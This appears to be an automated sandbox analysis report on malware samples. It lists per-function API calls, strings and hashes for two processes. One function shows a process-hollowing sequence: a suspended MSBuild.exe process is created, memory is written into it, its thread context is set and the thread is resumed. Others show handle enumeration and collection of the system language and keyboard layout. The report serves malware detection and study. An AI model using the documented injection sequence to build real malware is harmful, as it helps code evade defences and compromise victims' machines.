Instruction ID: bdcdde2c57eb4e80d3892a1403bf42d19751c6b0bf0a0df4d39ed52204726fe7
Opcode Fuzzy Hash: 0813e4d16846b7f3a01f0afaa42aa444088e9da2e9d94da94db87745fd8e1110
Instruction Fuzzy Hash: 2831CB70B11215ABCB20AF64C895AAEFBE5EF55740F1044EBB80997342FF74CE418B91

Function 00BD4377 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll,NtQuerySystemInformation,?,00000000,?,?,?,?,?,00BD45FF), ref: 00BD4390
GetProcAddress.KERNEL32(00000000), ref: 00BD4399
GetModuleHandleA.KERNEL32(ntdll,NtQueryObject,?,?,?,?,00BD45FF), ref: 00BD43AA
GetProcAddress.KERNEL32(00000000), ref: 00BD43AD

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

OpenProcess.KERNEL32(00000040,00000000,00000000,?,?,?,?,00BD45FF), ref: 00BD442F
GetCurrentProcess.KERNEL32(00BD45FF,00000000,00000000,00000002,?,?,?,?,00BD45FF), ref: 00BD444B
DuplicateHandle.KERNEL32(?,?,00000000,?,?,?,?,00BD45FF), ref: 00BD445A
CloseHandle.KERNEL32(00BD45FF,?,?,?,?,00BD45FF), ref: 00BD448A
GetCurrentProcess.KERNEL32(00BD45FF,00000000,00000000,00000001,?,?,?,?,00BD45FF), ref: 00BD4498
DuplicateHandle.KERNEL32(?,?,00000000,?,?,?,?,00BD45FF), ref: 00BD44A7
CloseHandle.KERNEL32(?,?,?,?,?,00BD45FF), ref: 00BD44BA
CloseHandle.KERNEL32(000000FF), ref: 00BD44DD
CloseHandle.KERNEL32(?), ref: 00BD44E5

Strings

NtQueryObject, xrefs: 00BD439B
ntdll, xrefs: 00BD438B, 00BD43A2
NtQuerySystemInformation, xrefs: 00BD4386

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: Handle$CloseProcess$AddressCriticalCurrentDuplicateHeapModuleProcSection$AllocateEnterLeaveOpen
String ID: NtQueryObject$NtQuerySystemInformation$ntdll
API String ID: 3110323036-2044536123
Opcode ID: ec2d46bf4c71857347d7ba73773c5c1cbc65abd1ff5d2f15b69d422b2bcdbecb
Instruction ID: 77d3d5079e3530993279b98be547e81238596df9dea666aef971f1a732e294cf
Opcode Fuzzy Hash: ec2d46bf4c71857347d7ba73773c5c1cbc65abd1ff5d2f15b69d422b2bcdbecb
Instruction Fuzzy Hash: A4416871A40219ABDB109BA59C54AAEFBF9EF44714F1441A6E905E3390FF70DE80CBA0

Function 00BD2A1E Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00BD2B09

Strings

0123456789abcdef, xrefs: 00BD2A7E
(null), xrefs: 00BD2B9A
(null), xrefs: 00BD2C14
0123456789ABCDEF, xrefs: 00BD2A85

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: (null)$(null)$0123456789ABCDEF$0123456789abcdef
API String ID: 1302938615-1267642376
Opcode ID: 47c526b8f73fd9d74794b8aa45bd7f54a70c8dcaef73b7395d4e8afc054f7463
Instruction ID: 653e6b9ab233d7bf49ca80f8960921c5b3cf62f8e2201003839b929d1da12aa4
Opcode Fuzzy Hash: 47c526b8f73fd9d74794b8aa45bd7f54a70c8dcaef73b7395d4e8afc054f7463
Instruction Fuzzy Hash: 749161706147828FDB29CF15C48062AFBE5EFA4344F2849AFE49A87751F770AC81CB51

Function 00BD1FBA Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32 ref: 00BD201D
GetKeyboardLayoutList.USER32(00000032,?), ref: 00BD207F

Strings

- KeyboardLayouts: ( , xrefs: 00BD2068
- SystemLayout %d, xrefs: 00BD2059
), xrefs: 00BD20CF
{%d} , xrefs: 00BD20B2

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: DefaultKeyboardLanguageLayoutListUser
String ID: )$- KeyboardLayouts: ( $- SystemLayout %d${%d}
API String ID: 167087913-619012376
Opcode ID: 909fb0ba3d67ec1d69ac806d784ef9a584f6892940b9342f2c9cc99bbad3ac6c
Instruction ID: 3dfe2b882eadad602158b1112cc8b3a8f6ff64b07336ae0d64a51dc7db68ac1e
Opcode Fuzzy Hash: 909fb0ba3d67ec1d69ac806d784ef9a584f6892940b9342f2c9cc99bbad3ac6c
Instruction Fuzzy Hash: A331AF50948298AADB009FE494027FDFBB0EF24701F4054D7F548E7392F6398B89D76A

Function 00BD3111 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

x, xrefs: 00BD3451

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID:
String ID: x
API String ID: 0-2363233923
Opcode ID: d3d897291c329ebbf041839c5b0f48294b75d70a9f970251da76dbd254476aeb
Instruction ID: b7e8f6e4f98e4cc27fd48df7be1643556bb1713baf4fbd405a5a301cf4709b36
Opcode Fuzzy Hash: d3d897291c329ebbf041839c5b0f48294b75d70a9f970251da76dbd254476aeb
Instruction Fuzzy Hash: 0702AF74E0024AEFCB45CF98D985AADB7F0FB09704F108496E826EB351E734AA51CF56

Function 00BD2C95 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 389COMMON

Download Yara Rule

APIs

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000005,00000000,00000000), ref: 00BD2ECA

Strings

x, xrefs: 00BD2FBF

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: CriticalHeapSection$AllocateByteCharEnterLeaveMultiProcessWide
String ID: x
API String ID: 1990697408-2363233923
Opcode ID: ecd1f142fe3aed24c6ba737088e15f2dd6ff3da5afea1de0da9e3199ad37638b
Instruction ID: f211062cedefc33703b00e3e9563c2877fa5d72276888e797b16ed5fb6705522
Opcode Fuzzy Hash: ecd1f142fe3aed24c6ba737088e15f2dd6ff3da5afea1de0da9e3199ad37638b
Instruction Fuzzy Hash: CE02AF74A04289EFCF05CF98D985AADBBF0FF19304F148496E865EB351E730AA41CB61

Function 00BD3DA9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,$d.log,000000FF,00000000,00000000,00000000,00000000,?,?,?,00BD3E4E,00000000,?,0000011C), ref: 00BD3DC1

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,$d.log,000000FF,00000000,?,00000000,00000000,?,00BD3E4E,00000000,?,0000011C), ref: 00BD3DF7

Strings

$d.log, xrefs: 00BD3DB8, 00BD3DF0

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: ByteCharCriticalHeapMultiSectionWide$AllocateEnterLeaveProcess
String ID: $d.log
API String ID: 635875880-1910398676
Opcode ID: 8c6243959647d0890429ecc43407528c7abf4a19fa5f639606344c68526a2c16
Instruction ID: b38b8650c816c04939a996d76172dbecbba0cb53d651f5ca490cb94f64d64746
Opcode Fuzzy Hash: 8c6243959647d0890429ecc43407528c7abf4a19fa5f639606344c68526a2c16
Instruction Fuzzy Hash: A4F0BEB12021607FA3245A6ADC19C77BBEDDBC1B70304426ABC19CB3D0ED209C0086B1

Analysis Process: 475e05f959.exePID: 7868, Parent PID: 7592COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0.6%
Signature Coverage:	0.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 002F519E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,002F5110,002F5100), ref: 002F5334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 002F5347
Wow64GetThreadContext.KERNEL32(0000009C,00000000), ref: 002F5365
ReadProcessMemory.KERNELBASE(00000098,?,002F5154,00000004,00000000), ref: 002F5389
VirtualAllocEx.KERNELBASE(00000098,?,?,00003000,00000040), ref: 002F53B4
WriteProcessMemory.KERNELBASE(00000098,00000000,?,?,00000000,?), ref: 002F540C
WriteProcessMemory.KERNELBASE(00000098,00400000,?,?,00000000,?,00000028), ref: 002F5457
WriteProcessMemory.KERNELBASE(00000098,?,?,00000004,00000000), ref: 002F5495
Wow64SetThreadContext.KERNEL32(0000009C,013E0000), ref: 002F54D1
ResumeThread.KERNELBASE(0000009C), ref: 002F54E0

Strings

GetP, xrefs: 002F521E
WriteProcessMemory, xrefs: 002F52AF
VirtualAllocEx, xrefs: 002F529C
Load, xrefs: 002F51DA
GetThreadContext, xrefs: 002F5276
ReadProcessMemory, xrefs: 002F5289
TerminateProcess, xrefs: 002F53C3
aryA, xrefs: 002F51E2
ResumeThread, xrefs: 002F52D8
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 002F5333
VirtualAlloc, xrefs: 002F5263
CreateProcessW, xrefs: 002F5250
SetThreadContext, xrefs: 002F52C2
ress, xrefs: 002F5226

Memory Dump Source

Source File: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: b6ef68fd5f6465667f7221b685d1833b79fdfc222238c36e0ecfba5835c0eff0
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: C6B10B7260064AAFDB60CF58CC80BEAB3A5FF88754F158164EA0CAB341D774FA51CB94

Function 002D1614 Relevance: 9.2, APIs: 6, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D1098: _strlen.LIBCMT ref: 002D10F9

CreateFileA.KERNELBASE ref: 002D1675
GetFileSize.KERNEL32(00000000,00000000), ref: 002D1685
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 002D16AB
CloseHandle.KERNELBASE(00000000), ref: 002D16BA
_strlen.LIBCMT ref: 002D1705
CloseHandle.KERNEL32(00000000), ref: 002D1805

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: cc5004796b81a1f30d3fd0cab8e799599578bbf0f6e651e570c4cc6a16796664
Instruction ID: 8336372aad57feadc7f386190080dd87388b1787f92b76bf15d4042458a3f81a
Opcode Fuzzy Hash: cc5004796b81a1f30d3fd0cab8e799599578bbf0f6e651e570c4cc6a16796664
Instruction Fuzzy Hash: 89510FB1918341ABE300EF24DC88B2AB7E9FF94314F144A2EF48993751E7349D64CB52

Function 002D155C Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D1098: _strlen.LIBCMT ref: 002D10F9

FreeConsole.KERNELBASE ref: 002D158B

Part of subcall function 002D123B: KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 002D12C7

VirtualProtect.KERNELBASE(002F5011,00000549,00000040,?), ref: 002D15D7
ExitProcess.KERNEL32 ref: 002D160E

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ConsoleDispatcherExceptionExitFreeProcessProtectUserVirtual_strlen
String ID:
API String ID: 2898289550-0
Opcode ID: afe8abb99ee825e65f8d57ec6d23a1605076753d9f98e498919d45d4860303e6
Instruction ID: 050fc07298f2f3b15f4a0ff2ed06d8b9b4241695dde8b5e84d1a12f63847eee3
Opcode Fuzzy Hash: afe8abb99ee825e65f8d57ec6d23a1605076753d9f98e498919d45d4860303e6
Instruction Fuzzy Hash: DB11EB71A101187BE700BB65EC46BBFB778EF84750F50403AFA04A7381E9755D218BD1

Function 002D123B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 002D12C7

Strings

[+], xrefs: 002D12E1

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID: [+]
API String ID: 6842923-4228040803
Opcode ID: a8da5d2f3f0dbddec01e81cc73ae80a50ca24363b3980d88294df7f3c447f982
Instruction ID: f0847e6782082f9e19e90859e139977b208915a3d841f73a7c04788b18f299ff
Opcode Fuzzy Hash: a8da5d2f3f0dbddec01e81cc73ae80a50ca24363b3980d88294df7f3c447f982
Instruction Fuzzy Hash: F131273151C3D05BD712AB3468997FBBBD0ABBD318F18057DD8C987343C2615855CB62

Function 002E5283 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002E562D: GetConsoleOutputCP.KERNEL32(2ED77AE5,00000000,00000000,?), ref: 002E5690

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,002DBBF3,?), ref: 002E5408
GetLastError.KERNEL32(?,?,002DBBF3,?,002DBE37,00000000,?,00000000,002DBE37,?,?,?,002F4628,0000002C,002DBD23,?), ref: 002E5412

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: d0a34178d75fe4be09006f4ae008cec36a9e048fdc436c6fedc3b0f5aa54a3c8
Instruction ID: 1fc4e4c68dedfde67a634f06574e0642d151d26425645470a3a874b7d34d4281
Opcode Fuzzy Hash: d0a34178d75fe4be09006f4ae008cec36a9e048fdc436c6fedc3b0f5aa54a3c8
Instruction Fuzzy Hash: D361F671C705AAAFDF11CFA9D844EEEBBB9BF09348F940195E900A7242C371C961CB60

Function 002E5A5C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,002E53EE,00000000,002DBE37,?,00000000,?,00000000), ref: 002E5AF8
GetLastError.KERNEL32(?,002E53EE,00000000,002DBE37,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,002DBBF3), ref: 002E5B1E

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: dfac67594e4b22bb9da98d903ef9aa2f9c75df2e06a5e90085e35a9b0280ea58
Instruction ID: 77a4c04c5129b1b466954c242c59f375ca655c2f30db8b0f00bf527247dfbb05
Opcode Fuzzy Hash: dfac67594e4b22bb9da98d903ef9aa2f9c75df2e06a5e90085e35a9b0280ea58
Instruction Fuzzy Hash: 9121D030A202298FCB15CF2ADD80AE9B7B9EB48309F6441A9E906D7311D730DE42CF60

Function 002DFF89 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,002DFE78,002F4948), ref: 002DFFD5
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,002DFE78,002F4948), ref: 002DFFE7

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 4a1f843da19a903b1bd000b9b5f4ed479cf5c637bedeb1b50084ac924248e7f3
Instruction ID: 394cec74056aab0534757eacc2abfa80927967687f428e37a549ed15da1d50ef
Opcode Fuzzy Hash: 4a1f843da19a903b1bd000b9b5f4ed479cf5c637bedeb1b50084ac924248e7f3
Instruction Fuzzy Hash: A911A2725247924AC7308E3EDDC8732BA94A756330B38072AD1B786AF1C2A0D9A2D244

Function 002D136E Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 002D1388

Memory Dump Source

Source File: 00000007.00000002.2493883881.00000000002D1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 002D0000, based on PE: true

Associated: 00000007.00000002.2493844579.00000000002D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493908501.00000000002EC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493962383.00000000002F5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2493989066.00000000002F6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494015683.00000000002F8000.00000020.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494227237.00000000002FA000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2494270251.00000000002FD000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d0000_475e05f959.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: d6c61d44a278695f9d2700ac1a6f80f9cd0bee6116fbcf899ab3fce22b3fc2cf
Instruction ID: 2927e9077bfe49d3fc77970d5d52c75f227e0f781c2c0496a453e0e40e96e18f
Opcode Fuzzy Hash: d6c61d44a278695f9d2700ac1a6f80f9cd0bee6116fbcf899ab3fce22b3fc2cf
Instruction Fuzzy Hash: 9351AE313142049FC714DF6CC994B6AB7E2EF88328F198669E969CB792D630ED25CB41

